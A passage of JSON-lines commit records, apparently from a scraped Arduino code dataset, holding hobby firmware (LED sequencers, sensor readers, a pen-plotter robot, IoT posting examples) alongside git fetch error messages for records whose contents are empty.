delay(offDurationMillis);\n}\n\nvoid leftSequence(int durationMillis, int pauseDurationMillis)\n{\n selectLeftOn(ON, OFF, OFF, ON);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(durationMillis);\n \n selectLeftOn(OFF, ON, OFF, ON);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(durationMillis);\n \n selectLeftOn(OFF, OFF, ON, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(durationMillis);\n\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(pauseDurationMillis);\n}\n\nvoid leftBlink(int onDurationMillis, int offDurationMillis)\n{\n selectLeftOn(OFF, ON, ON, ON);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(onDurationMillis);\n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(offDurationMillis);\n}\n\nvoid rightSequenceBrake(int durationMillis, int pauseDurationMillis)\n{\n selectRightOn(ON, OFF, OFF, ON);\n selectLeftOn(ON, ON, ON, OFF);\n delay(durationMillis);\n \n selectRightOn(ON, ON, OFF, ON);\n selectLeftOn(ON, ON, ON, OFF);\n delay(durationMillis);\n \n selectRightOn(ON, ON, ON, OFF);\n selectLeftOn(ON, ON, ON, OFF);\n delay(durationMillis);\n\n selectRightOn(OFF, OFF, OFF, OFF);\n selectLeftOn(ON, ON, ON, OFF);\n delay(pauseDurationMillis);\n}\n\nvoid rightBlinkBrake(int onDurationMillis, int offDurationMillis)\n{\n selectLeftOn(OFF, ON, ON, OFF);\n selectRightOn(OFF, ON, ON, ON);\n delay(onDurationMillis);\n \n selectLeftOn(OFF, ON, ON, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(offDurationMillis);\n}\n\nvoid leftSequenceBrake(int durationMillis, int pauseDurationMillis)\n{\n selectLeftOn(ON, OFF, OFF, ON);\n selectRightOn(ON, ON, ON, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, OFF, ON);\n selectRightOn(ON, ON, ON, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, ON, OFF);\n selectRightOn(ON, ON, ON, OFF);\n delay(durationMillis);\n\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(ON, ON, ON, OFF);\n delay(pauseDurationMillis);\n}\n\nvoid leftBlinkBrake(int onDurationMillis, int offDurationMillis)\n{\n selectLeftOn(OFF, ON, ON, ON);\n selectRightOn(OFF, ON, ON, OFF);\n delay(onDurationMillis);\n\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, ON, ON, OFF);\n delay(offDurationMillis);\n}\n\nvoid brakeSequenceFlashOn(int durationMillis)\n{\n selectLeftOn(ON, OFF, OFF, OFF);\n selectRightOn(ON, OFF, OFF, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, OFF, OFF);\n selectRightOn(ON, ON, OFF, OFF);\n delay(durationMillis);\n}\n\nvoid brakeSequenceFlashOff(int durationMillis)\n{\n selectLeftOn(OFF, ON, ON, OFF);\n selectRightOn(OFF, ON, ON, OFF);\n delay(durationMillis);\n\n selectLeftOn(ON, OFF, OFF, OFF);\n selectRightOn(ON, OFF, OFF, OFF);\n delay(durationMillis);\n}\n\nvoid brakeSequebceHoldOn()\n{\n selectLeftOn(ON, ON, ON, OFF);\n selectRightOn(ON, ON, ON, OFF);\n}\n\nvoid brake()\n{\n selectLeftOn(OFF, ON, ON, OFF);\n selectRightOn(OFF, ON, ON, OFF);\n}\n\nvoid emergencyFlasherSequence(int flashDurationMillis, int offDurationMillis, int onDurationMillis)\n{\n brakeSequenceFlashOn(flashDurationMillis); \n selectLeftOn(ON, ON, ON, ON);\n selectRightOn(ON, ON, ON, ON);\n delay(onDurationMillis); \n \n brakeSequenceFlashOff(flashDurationMillis); \n off();\n delay(offDurationMillis);\n}\n\nvoid emergencyFlasherBlink(int onDurationMillis, int offDurationMillis)\n{\n \n selectLeftOn(OFF, ON, ON, ON);\n selectRightOn(OFF, ON, ON, ON);\n delay(onDurationMillis);\n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(offDurationMillis); \n}\n\nvoid off()\n{\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n}\n\nvoid selectLeftOn(boolean leftInnerPower, boolean leftMiddlePower, boolean leftOuterPower, boolean leftMarkersPower)\n{\n digitalWrite(leftInner, leftInnerPower); \n digitalWrite(leftMiddle,leftMiddlePower);\n digitalWrite(leftOuter, leftOuterPower);\n digitalWrite(leftMarkers, leftMarkersPower);\n}\n\nvoid selectRightOn(boolean rightInnerPower, boolean rightMiddlePower, boolean rightOuterPower, boolean rightMarkersPower)\n{\n digitalWrite(rightInner, rightInnerPower); \n digitalWrite(rightMiddle, rightMiddlePower);\n digitalWrite(rightOuter, rightOuterPower);\n digitalWrite(rightMarkers, rightMarkersPower);\n}\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sequencial_turn_signal_4_8_0zxy.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9408b2b4209c731f8bb239bb2dc666d4d384b1d1","subject":"Added 1. Change color example.","message":"Added 1. Change color example.\n","repos":"higepon\/Spark-Core-Examples,higepon\/Spark-Core-Examples","old_file":"1.LED change color.ino","new_file":"1.LED change color.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '1.LED' did not match any file(s) known to git\nerror: pathspec 'change' did not match any file(s) known to git\nerror: pathspec 'color.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"634f6afa719017688f33041fbe90f9a6939ba84d","subject":"Bug fix missing break statement","message":"Bug fix missing break statement\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cb061f5ba8373598a2744e5226dad16e6a175e47","subject":"slider-and-rotary: MCP23017 interrupt triggering works for INTCON=0 and push button","message":"slider-and-rotary: MCP23017 interrupt triggering works for INTCON=0 and push button\n","repos":"jdahlbom\/arduino-prototyping,jdahlbom\/arduino-prototyping","old_file":"slider-and-rotary-encoder\/slider\/slider.ino","new_file":"slider-and-rotary-encoder\/slider\/slider.ino","new_contents":"#include<Wire.h>\n\nint IODIRA = 0x00;\nint IODIRB = 0x01;\nint GPINTENB = 0x05;\nint GPPUB = 0x0D;\nint DEFVALB = 0x07;\nint INTCONB = 0x09;\n\/\/int INTFB = 0x0F;\nint INTCAPB = 0x11;\nint GPIOA = 0x12;\nint GPIOB = 0x13;\n\/\/int IOCON = 0x0B;\n\nint INTERRUPT_PIN_B = 0;\n\nint led1 = 0x20;\nint led2 = 0x40;\nint led3 = 0x80;\n\nint ADDRESS = 0x20;\n\nint interrupt_b_triggered = 0;\nint dir1Events = 0;\nint dir2Events = 0;\n\nvoid setup() {\n Serial.begin(9600);\n Wire.begin();\n writeBank(ADDRESS, IODIRA, 0x00); \/\/ Set A pins as outputs\n writeBank(ADDRESS, IODIRB, 0xFF); \/\/ Set B pins as inputs\n writeBank(ADDRESS, GPINTENB, 0xFF); \/\/ Enable interrupts for B pins\n writeBank(ADDRESS, GPPUB, 0xFF); \/\/ Set pull up resistors (100kohm) for B pins\n writeBank(ADDRESS, DEFVALB, 0xFF); \/\/ Use HIGH as comparison value for all B pins\n writeBank(ADDRESS, INTCONB, 0x00); \/\/ Compare interrupt value against previous value *\/\n attachInterrupt(INTERRUPT_PIN_B, processBInterrupts, FALLING);\n}\n\nvoid writeBank(int address, int reg, int value) {\n Wire.beginTransmission(address);\n Wire.write(reg);\n Wire.write(value);\n Wire.endTransmission();\n}\n\nbyte readBank(int address, int reg) {\n \/\/ From: https:\/\/coronax.wordpress.com\/2012\/11\/18\/arduino-port-expansion\/\n Wire.beginTransmission (address);\n Wire.write (reg); \n Wire.endTransmission (); \n \/\/ Then we try to read one byte from that chip\n Wire.requestFrom (address, 1);\n byte value = Wire.read(); \n return value;\n}\n\nvoid processBInterrupts() {\n interrupt_b_triggered = 1;\n}\n\nvoid loop() {\n\n static int iterations = 0;\n if (interrupt_b_triggered) {\n Serial.print(\"Interrupt triggered\");\n byte interruptValues = readBank(ADDRESS, INTCAPB);\n Serial.println(\"Interrupt values:\");\n Serial.println(interruptValues);\n if ( ~interruptValues & 0x01) {\n Serial.print(\"Pin 1 triggered!\");\n dir1Events += 1;\n }\n if (~interruptValues & 0x02) {\n Serial.print(\"Pin 2 triggered!\");\n dir2Events += 1;\n }\n iterations=11;\n interrupt_b_triggered = 0;\n }\n\n int sensorValue = analogRead(A0);\n\n float powerValue = sensorValue * 100.0 \/ 1023.0;\n writeBank(ADDRESS, GPIOA, indicatorPinValues(powerValue));\n\n Serial.print(powerValue);\n Serial.print(\",\");\n ++iterations;\n if (iterations > 10) {\n iterations = 0;\n Serial.println(\"\");\n }\n delay(100);\n}\n\nint indicatorPinValues(int powerValue) {\n float maxTolerance = 1.0;\n int leds = 0;\n float maxValue = 100.0;\n float numberOfLeds = 3.0;\n if (powerValue > maxValue\/numberOfLeds) {\n leds += led1;\n }\n if (powerValue > 2*maxValue\/numberOfLeds) {\n leds += led2;\n }\n if (powerValue > maxValue - maxTolerance) {\n leds += led3;\n }\n return leds;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'slider-and-rotary-encoder\/slider\/slider.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e06e4d24a719a40eb80b320036a38f039fceae2","subject":"Create hc_sr04.ino","message":"Create hc_sr04.ino","repos":"shyampurk\/pubnub-rpi-smart-parking,shyampurk\/pubnub-rpi-smart-parking,shyampurk\/pubnub-rpi-smart-parking,shyampurk\/pubnub-rpi-smart-parking,shyampurk\/pubnub-rpi-smart-parking","old_file":"Device\/hc_sr04\/hc_sr04.ino","new_file":"Device\/hc_sr04\/hc_sr04.ino","new_contents":"\/*********************************************************************************\nSMART PARKING LOT SYSTEM\n*********************************************************************************\/\n\/\/Reference Value to Get The Status of Parking\n#define g_parked 100\n#define g_fault 4500\n\n\/\/Pin Setting for the 3 Ultrasonic Sensors\n#define g_trigPin 13\n#define g_echoPin 12\n#define g_trigPin2 4\n#define g_echoPin2 5\n#define g_trigPin3 8\n#define g_echoPin3 9\n\n\/**************************************************************************************\nFunction Name \t\t:\tsetup\nDescription\t\t :\tInitialize the Sensor Trigger Pin as Output and \n echo pin as Input and begin the serial communication\n with 9600 BAUD\nParameters \t\t :\tvoid\nReturn \t\t\t :\tvoid\n**************************************************************************************\/\n\/\/Initialize the Pins and BAUD rate \nvoid setup(void) {\n Serial.begin (9600);\n pinMode(g_trigPin, OUTPUT);\n pinMode(g_echoPin, INPUT);\n pinMode(g_trigPin2, OUTPUT);\n pinMode(g_echoPin2, INPUT);\n pinMode(g_trigPin3, OUTPUT);\n pinMode(g_echoPin3, INPUT);\n}\n\n\/**************************************************************************************\nFunction Name \t\t:\tloop\nDescription\t\t :\tGenerate a Trigger signal and wait for the echo on \n HC-SR04 Ultrasonic Sensor and calculate the distance.\nParameters \t\t :\tvoid\nReturn \t\t\t :\tvoid\n**************************************************************************************\/\nvoid loop(void) {\n \/\/Variables to calculate the distance using the duration taken for 1 cycle of trigger and echo \n long l_duration,l_distance,l_duration2,l_distance2,l_duration3,l_distance3;\n \/\/Distance form the Ultrasonic Sensor 1\n \/\/Generate a high pulse on Trigger Pin with 10 micro seconds delay and wait for the echo\n digitalWrite(g_trigPin, LOW);\n delayMicroseconds(2); \n digitalWrite(g_trigPin, HIGH);\n delayMicroseconds(10); \n digitalWrite(g_trigPin, LOW);\n \/\/Once received the Echo calculate the distance from the duration\n l_duration = pulseIn(g_echoPin, HIGH);\n l_distance = (l_duration\/2) \/ 29.1;\n delay(300);\n \n \/\/Distance form the Ultrasonic Sensor 2\n digitalWrite(g_trigPin2, LOW);\n delayMicroseconds(2); \n digitalWrite(g_trigPin2, HIGH);\n delayMicroseconds(10); \n digitalWrite(g_trigPin2, LOW);\n l_duration2 = pulseIn(g_echoPin2, HIGH);\n l_distance2 = (l_duration2\/2) \/ 29.1;\n delay(300);\n \n \/\/Distance form the Ultrasonic Sensor 3\n digitalWrite(g_trigPin3, LOW);\n delayMicroseconds(2); \n digitalWrite(g_trigPin3, HIGH);\n delayMicroseconds(10); \n digitalWrite(g_trigPin3, LOW);\n l_duration3 = pulseIn(g_echoPin3, HIGH);\n l_distance3 = (l_duration3\/2) \/ 29.1;\n delay(300);\n \n \/\/Check if the Sensor has any fault \n \/*DATA SENT by UART to RPi is 1,2,3\n\t\t1\t-\tParking LOT is Free\n\t\t2\t-\tParking LOT is Filled\n\t\t3\t-\tFault in the Sensor\t*\/\n if(l_distance < g_fault && l_distance2 < g_fault && l_distance3 < g_fault) \n {\n if(l_distance <= g_parked && l_distance2 <= g_parked && l_distance3 <= g_parked)\n {\n Serial.write(\"222\");\n }\n else if(l_distance <= g_parked && l_distance2 <= g_parked && l_distance3 > g_parked)\n {\n Serial.write(\"221\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_parked && l_distance3 <= g_parked)\n {\n Serial.write(\"212\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_parked && l_distance3 > g_parked)\n {\n Serial.write(\"211\");\n }\n else if(l_distance > g_parked && l_distance2 <= g_parked && l_distance3 <= g_parked)\n {\n Serial.write(\"122\");\n }\n else if(l_distance > g_parked && l_distance2 <= g_parked && l_distance3 > g_parked)\n {\n Serial.write(\"121\");\n }\n else if(l_distance > g_parked && l_distance2 > g_parked && l_distance3 <= g_parked)\n {\n Serial.write(\"112\");\n }\n else if(l_distance > g_parked && l_distance2 > g_parked && l_distance3 > g_parked)\n {\n Serial.write(\"111\");\n }\n }\n else\n {\n if(l_distance > g_fault && l_distance2 <= g_parked && l_distance3 <= g_parked)\n {\n Serial.write(\"322\");\n }\n else if(l_distance > g_fault && l_distance2 <= g_parked && l_distance3 > g_parked)\n {\n Serial.write(\"321\");\n }\n else if(l_distance > g_fault && l_distance2 > g_parked && l_distance3 <= g_parked)\n {\n Serial.write(\"312\");\n }\n else if(l_distance > g_fault && l_distance2 > g_parked && l_distance3 > g_parked)\n {\n Serial.write(\"311\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_fault && l_distance3 <= g_parked)\n {\n Serial.write(\"232\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_fault && l_distance3 > g_parked)\n {\n Serial.write(\"231\");\n }\n else if(l_distance > g_parked && l_distance2 > g_fault && l_distance3 <= g_parked)\n {\n Serial.write(\"132\");\n }\n else if(l_distance > g_parked && l_distance2 > g_fault && l_distance3 > g_parked)\n {\n Serial.write(\"131\");\n }\n else if(l_distance <= g_parked && l_distance2 <= g_parked && l_distance3 > g_fault)\n {\n Serial.write(\"223\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_parked && l_distance3 > g_fault)\n {\n Serial.write(\"213\");\n }\n else if(l_distance > g_parked && l_distance2 <= g_parked && l_distance3 > g_fault)\n {\n Serial.write(\"123\");\n }\n else if(l_distance > g_parked && l_distance2 > g_parked && l_distance3 > g_fault)\n {\n Serial.write(\"113\");\n }\n else if(l_distance > g_fault && l_distance2 > g_fault && l_distance3 <= g_parked)\n {\n Serial.write(\"332\");\n }\n else if(l_distance > g_fault && l_distance2 > g_fault && l_distance3 > g_parked)\n {\n Serial.write(\"331\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_fault && l_distance3 > g_fault)\n {\n Serial.write(\"233\");\n }\n else if(l_distance > g_parked && l_distance2 > g_fault && l_distance3 > g_fault)\n {\n Serial.write(\"133\");\n }\n else if(l_distance > g_fault && l_distance2 <= g_parked && l_distance3 > g_fault)\n {\n Serial.write(\"323\");\n }\n else if(l_distance > g_fault && l_distance2 > g_parked && l_distance3 > g_fault)\n {\n Serial.write(\"313\");\n }\n else if(l_distance > g_fault && l_distance2 > g_fault && l_distance3 > g_fault)\n {\n Serial.write(\"333\");\n }\n }\n \/\/Provide a Delay for every 5 Seconds once data sent to the RPi\n delay(5000);\n}\n\n\/\/End of the Program\n\/***************************************************************************************************\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Device\/hc_sr04\/hc_sr04.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"13bcbde26b8d37547e26974e1e7b2829300e589f","subject":"Updated enviro node for compatibility with new controller codes.","message":"Updated enviro node for compatibility with new controller codes.\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/nirnodes\/envirobeta\/envirobeta.ino","new_file":"nduino\/nirnodes\/envirobeta\/envirobeta.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"88f3a019647ffef77efde8a53d27cba16a28623f","subject":"Update Templete.ino","message":"Update Templete.ino","repos":"SirenCreatorTeam\/Siren_Zwei","old_file":"Arduino\/Templete\/Templete.ino","new_file":"Arduino\/Templete\/Templete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SirenCreatorTeam\/Siren_Zwei.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"1faa78715475a284047adef0d5b7d8f0190c28c8","subject":"Update CoinWallet.ino","message":"Update CoinWallet.ino","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/CoinWallet.ino","new_file":"LaundryMachine\/CoinWallet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9f410cb6ab5350af5127eca6d3af9f968626bc36","subject":"Code fonctionnel de test trace un carre","message":"Code fonctionnel de test trace un carre\n","repos":"volab\/VOR-013_code,volab\/VOR-013_code","old_file":"TIRL_Arduino_TEST.ino","new_file":"TIRL_Arduino_TEST.ino","new_contents":"\/\/ \n\n#include <Servo.h>\n\n\/\/ setup servo\nint servoPin = 8;\nint PEN_DOWN = 20; \/\/ angle of servo when pen is down\nint PEN_UP = 80; \/\/ angle of servo when pen is up\nServo penServo;\n\nfloat wheel_dia=63; \/\/ # mm (increase = spiral out)\nfloat wheel_base=113; \/\/ # mm (increase = spiral in, ccw) \n\/\/int steps_rev=128; \/\/ # 512 for 64x gearbox, 128 for 16x gearbox\nint steps_rev=512;\nint delay_time=6; \/\/ # time between steps in ms\n\n\/\/ Stepper sequence org->pink->blue->yel\nint L_stepper_pins[] = {12, 10, 9, 11};\nint R_stepper_pins[] = {4, 6, 7, 5};\n\nint fwd_mask[][4] = {{1, 0, 1, 0},\n {0, 1, 1, 0},\n {0, 1, 0, 1},\n {1, 0, 0, 1}};\n\nint rev_mask[][4] = {{1, 0, 0, 1},\n {0, 1, 0, 1},\n {0, 1, 1, 0},\n {1, 0, 1, 0}};\n\n\nvoid setup() {\n randomSeed(analogRead(1)); \n Serial.begin(9600);\n for(int pin=0; pin<4; pin++){\n pinMode(L_stepper_pins[pin], OUTPUT);\n digitalWrite(L_stepper_pins[pin], LOW);\n pinMode(R_stepper_pins[pin], OUTPUT);\n digitalWrite(R_stepper_pins[pin], LOW);\n }\n penServo.attach(servoPin);\n Serial.println(\"setup\");\n \n penup();\n \n delay(1000);\n}\n\n\nvoid loop(){ \/\/ draw a calibration box 4 times\n pendown();\n for(int x=0; x<12; x++){\n forward(100);\n left(90);\n }\n penup();\n done(); \/\/ releases stepper motor\n while(1); \/\/ wait for reset\n}\n\n\n\/\/ ----- HELPER FUNCTIONS -----------\nint step(float distance){\n int steps = distance * steps_rev \/ (wheel_dia * 3.1412); \/\/24.61\n \/*\n Serial.print(distance);\n Serial.print(\" \");\n Serial.print(steps_rev);\n Serial.print(\" \"); \n Serial.print(wheel_dia);\n Serial.print(\" \"); \n Serial.println(steps);\n delay(1000);*\/\n return steps; \n}\n\n\nvoid forward(float distance){\n int steps = step(distance);\n Serial.println(steps);\n for(int step=0; step<steps; step++){\n for(int mask=0; mask<4; mask++){\n for(int pin=0; pin<4; pin++){\n digitalWrite(L_stepper_pins[pin], rev_mask[mask][pin]);\n digitalWrite(R_stepper_pins[pin], fwd_mask[mask][pin]);\n }\n delay(delay_time);\n } \n }\n}\n\n\nvoid backward(float distance){\n int steps = step(distance);\n for(int step=0; step<steps; step++){\n for(int mask=0; mask<4; mask++){\n for(int pin=0; pin<4; pin++){\n digitalWrite(L_stepper_pins[pin], fwd_mask[mask][pin]);\n digitalWrite(R_stepper_pins[pin], rev_mask[mask][pin]);\n }\n delay(delay_time);\n } \n }\n}\n\n\nvoid right(float degrees){\n float rotation = degrees \/ 360.0;\n float distance = wheel_base * 3.1412 * rotation;\n int steps = step(distance);\n for(int step=0; step<steps; step++){\n for(int mask=0; mask<4; mask++){\n for(int pin=0; pin<4; pin++){\n digitalWrite(R_stepper_pins[pin], rev_mask[mask][pin]);\n digitalWrite(L_stepper_pins[pin], rev_mask[mask][pin]);\n }\n delay(delay_time);\n } \n } \n}\n\n\nvoid left(float degrees){\n float rotation = degrees \/ 360.0;\n float distance = wheel_base * 3.1412 * rotation;\n int steps = step(distance);\n for(int step=0; step<steps; step++){\n for(int mask=0; mask<4; mask++){\n for(int pin=0; pin<4; pin++){\n digitalWrite(R_stepper_pins[pin], fwd_mask[mask][pin]);\n digitalWrite(L_stepper_pins[pin], fwd_mask[mask][pin]);\n }\n delay(delay_time);\n } \n } \n}\n\n\nvoid done(){ \/\/ unlock stepper to save battery\n for(int mask=0; mask<4; mask++){\n for(int pin=0; pin<4; pin++){\n digitalWrite(R_stepper_pins[pin], LOW);\n digitalWrite(L_stepper_pins[pin], LOW);\n }\n delay(delay_time);\n }\n}\n\n\nvoid penup(){\n delay(250);\n Serial.println(\"PEN_UP()\");\n penServo.write(PEN_UP);\n delay(250);\n}\n\n\nvoid pendown(){\n delay(250); \n Serial.println(\"PEN_DOWN()\");\n penServo.write(PEN_DOWN);\n delay(250);\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"dc73cf22a163b48f62178a285e7f86e47e845517","subject":"Knock sensor","message":"Knock sensor\n","repos":"theapi\/denbit,theapi\/denbit","old_file":"examples\/Knock\/Knock.ino","new_file":"examples\/Knock\/Knock.ino","new_contents":"\/** \n Knock Sensor\n\n This sketch reads a piezo element to detect a knocking sound.\n It reads an analog pin and compares the result to a set threshold.\n If the result is greater than the threshold, it writes\n \"knock\" to the serial port, and toggles the LED on pin 13.\n\n The circuit:\n\t + connection of the piezo attached to analog in 0\n\t - connection of the piezo attached to ground\n\t 1-megohm resistor attached from analog in 0 to ground\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/Knock\n\n*\/\n\n#define LED_S_GREEN 13 \/\/ D7\n#define LED_S_RED 12 \/\/ D6\n#define LED_RGB_RED 15 \/\/ D8\n#define LED_RGB_GREEN 14 \/\/ D5\n#define LED_RGB_BLUE 10 \/\/ SD3\n#define SW1 2\n#define SW2 16\n\n\/\/ these constants won't change:\nconst int knockSensor = A0; \/\/ the piezo is connected to analog pin 0\nconst int threshold = 100; \/\/ threshold value to decide when the detected sound is a knock or not\n\n\n\/\/ these variables will change:\nint sensorReading = 0; \/\/ variable to store the value read from the sensor pin\nint ledState = LOW; \/\/ variable used to store the last LED status, to toggle the light\n\nvoid setup() {\n Serial.begin(115200); \/\/ use the serial port\n \n pinMode(LED_S_GREEN, OUTPUT);\n pinMode(LED_S_RED, OUTPUT);\n\n\/\/ RGB led\n pinMode(LED_RGB_RED, OUTPUT);\n pinMode(LED_RGB_GREEN, OUTPUT);\n pinMode(LED_RGB_BLUE, OUTPUT);\n\n\/\/ Switches\n pinMode(SW1, INPUT_PULLUP);\n pinMode(SW2, INPUT_PULLUP);\n}\n\nvoid loop() {\n \/\/ read the sensor and store it in the variable sensorReading:\n sensorReading = analogRead(knockSensor);\n analogWrite(LED_S_RED, sensorReading);\n Serial.println(sensorReading);\n \n \n \/\/ if the sensor reading is greater than the threshold:\n if (sensorReading >= threshold) {\n \/\/ toggle the status of the ledPin:\n ledState = !ledState;\n \/\/ update the LED pin itself:\n digitalWrite(LED_S_GREEN, ledState);\n \/\/ send the string \"Knock!\" back to the computer, followed by newline\n Serial.println(\"Knock!\");\n }\n delay(100); \/\/ delay to avoid overloading the serial port buffer\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Knock\/Knock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a05cf0de9ce58b4f99c732d8248bf515b98147a2","subject":"Added scrubbed example. Will update as progress happens.","message":"Added scrubbed example. Will update as progress happens.\n","repos":"keen\/keen-arduino","old_file":"examples\/ApiClientJson\/ApiClientJson.ino","new_file":"examples\/ApiClientJson\/ApiClientJson.ino","new_contents":"\n#include <Bridge.h>\n#include <ApiClient.h>\n\nApiClient client;\n\nvoid setup() {\n pinMode(13, OUTPUT);\n digitalWrite(13, LOW);\n Bridge.begin();\n digitalWrite(13, HIGH);\n\n Serial.begin(115200);\n\n while (!Serial);\n}\n\nvoid loop() {\n\n client.setContentTypeHeader(F(\"application\/json\"));\n client.setUserAgentHeader(F(\"Arduino\/0.1a\"));\n client.setAuthorizationHeader(F(\"YOUR_WRITE_KEY\"));\n \n client.post(\n \"https:\/\/api.keen.io\/3.0\/projects\/YOUR_PROJECT_ID\/events\",\n \"YOUR_JSON_DATA\"\n );\n \n client.printRequest();\n \n while (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n Serial.println();\n Serial.flush();\n \n delay(2000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ApiClientJson\/ApiClientJson.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"18d07483fc82c2959fad0ea25873ae44b11568b9","subject":"Adding Phant example.","message":"Adding Phant example.\n","repos":"efess\/SparkFun_ESP8266_AT_Arduino_Library,sparkfun\/SparkFun_ESP8266_AT_Arduino_Library,semiotproject\/SparkFun_ESP8266_AT_Arduino_Library,sparkfun\/SparkFun_ESP8266_AT_Arduino_Library","old_file":"examples\/ESP8266_Phant\/ESP8266_Phant.ino","new_file":"examples\/ESP8266_Phant\/ESP8266_Phant.ino","new_contents":"\/************************************************************\nESP8266_Phant.ino\nSparkFun ESP8266 AT library - Phant Posting Example\nJim Lindblom @ SparkFun Electronics\nOriginal Creation Date: July 16, 2015\nhttps:\/\/github.com\/sparkfun\/SparkFun_ESP8266_AT_Arduino_Library\n\nThis example demonstrates how to use the TCP client \nfunctionality of the SparkFun ESP8266 WiFi library to post \nsensor readings to a Phant stream on \nhttps:\/\/data.sparkfun.com\n\nThis sketch is set up to post to a publicly available stream\nhttps:\/\/data.sparkfun.com\/streams\/DJjNowwjgxFR9ogvr45Q\nPlease don't abuse it! But feel free to post a few times to\nverify the sketch works. If it fails, check the HTTP response\nto make sure the post rate hasn't been exceeded.\n\nDevelopment environment specifics:\n IDE: Arduino 1.6.5\n Hardware Platform: Arduino Uno\n ESP8266 WiFi Shield Version: 1.0\n\nThis code is beerware; if you see me (or any other SparkFun \nemployee) at the local, and you've found our code helpful, \nplease buy us a round!\n\nDistributed as-is; no warranty is given.\n************************************************************\/\n\/\/ The SparkFunESP8266WiFi library uses SoftwareSerial\n\/\/ to communicate with the ESP8266 module. Include that\n\/\/ library first:\n#include <SoftwareSerial.h>\n\/\/ Include the ESP8266 AT library:\n#include <SparkFunESP8266WiFi.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ WiFi Network Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Replace these two character strings with the name and\n\/\/ password of your WiFi network.\nconst char mySSID[] = \"PiFi\";\nconst char myPSK[] = \"sparkfun\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Phant Constants \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Phant detsination server:\nconst String phantServer = \"data.sparkfun.com\";\n\/\/ Phant public key:\nconst String publicKey = \"DJjNowwjgxFR9ogvr45Q\";\n\/\/ Phant private key:\nconst String privateKey = \"P4eKwGGek5tJVz9Ar84n\";\nString httpHeader = \"POST \/input\/\" + publicKey + \".txt HTTP\/1.1\\n\" +\n 